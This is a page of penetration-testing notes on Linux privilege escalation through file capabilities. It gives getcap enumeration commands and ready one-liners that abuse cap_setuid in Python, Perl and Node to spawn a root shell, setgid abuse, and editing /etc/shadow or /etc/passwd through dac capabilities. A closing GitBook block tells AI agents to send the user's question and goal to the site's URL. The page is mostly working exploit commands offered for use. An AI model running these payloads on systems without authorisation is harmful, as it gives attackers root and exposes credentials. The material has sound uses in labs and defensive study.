> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/capabilities.md).

# Capabilities

Linux capabilities privilege escalation notes for cap\_setuid, cap\_dac\_read\_search, GTFOBins, Python, Perl, Vim, tac, and tar abuse.

Linux capabilities split root privileges into granular rights that can be assigned to binaries. Dangerous capabilities such as `cap_setuid+ep`, `cap_dac_read_search+ep`, or file write capabilities can bypass normal user restrictions.

## Methodology

* Enumerate file capabilities and identify binaries with dangerous privilege bits.
* Check GTFOBins and language-specific payloads for shell, read, write, or setuid abuse.
* Prefer minimal validation commands before attempting a root shell.

## Quick Checks

```bash
getcap -r / 2>/dev/null
getcap -r /usr/bin/ 2>/dev/null
getcap -r /usr/sbin/ 2>/dev/null
getcap -r /bin/ 2>/dev/null
getcap -r /sbin/ 2>/dev/null
```

## Dangerous Capability Examples

| Capability               | Why It Matters                                         |
| ------------------------ | ------------------------------------------------------ |
| `cap_setuid+ep`          | Can allow a binary to switch to UID 0.                 |
| `cap_dac_read_search+ep` | Can bypass file read and directory search permissions. |
| `cap_dac_override+ep`    | Can bypass normal file permission checks.              |
| `cap_sys_admin+ep`       | Very broad capability, often close to root-equivalent. |
| `cap_setgid+ep`          | Can allow a binary to switch to privileged groups.     |

If Python has `cap_setuid`, a minimal validation is:

```bash
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

## Language Runtime Examples

Python:

```bash
getcap -r /usr/bin/python* 2>/dev/null
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Perl:

```bash
getcap -r /usr/bin/perl* 2>/dev/null
/usr/bin/perl -e 'use POSIX (setuid); setuid(0); exec "/bin/bash";'
```

Node.js:

```bash
getcap -r /usr/bin/node* 2>/dev/null
/usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]});'
```

CAP\_SETGID example:

```bash
getcap -r / 2>/dev/null | grep setgid
/usr/bin/perl -e 'use POSIX (setgid); setgid(0); exec "/bin/bash";'
```

Read/write capability examples:

```bash
getcap -r / 2>/dev/null | grep dac_read_search
/usr/bin/vim /etc/shadow

getcap -r / 2>/dev/null | grep dac_override
/usr/bin/nano /etc/passwd
```

Other interpreted runtimes to review with GTFOBins when capabilities are present:

```
ruby
php
lua
```

View process and available capabilities:

```bash
capsh --print
capsh --print | grep cap_
```

Setting capabilities requires root, but it is useful for lab reproduction:

```bash
sudo setcap cap_setuid+ep /path/to/binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Vim Capabilities</h4></td><td>Capabilities (Vim) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/capabilities/capabilities-vim-linux-privilege-escalation.md">Capabilities (Vim) - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Python Capabilities</h4></td><td>Python capability abuse for Linux privilege escalation through cap_setuid and GTFOBins payloads.</td><td><a href="/privesc/capabilities/python-capabilities.md">Python Capabilities</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>tar Capabilities</h4></td><td>Capabilities (tarS binary) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md">Capabilities (tarS) - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Perl Capabilities</h4></td><td>Capabilities (Perl) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/capabilities/capabilities-perl-linux-privilege-escalation.md">Capabilities (Perl) - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>tac Capabilities</h4></td><td>Capabilities (tac) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/capabilities/capabilities-tac-linux-privilege-escalation.md">Capabilities (tac) - Linux Privilege Escalation</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/privesc/capabilities.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
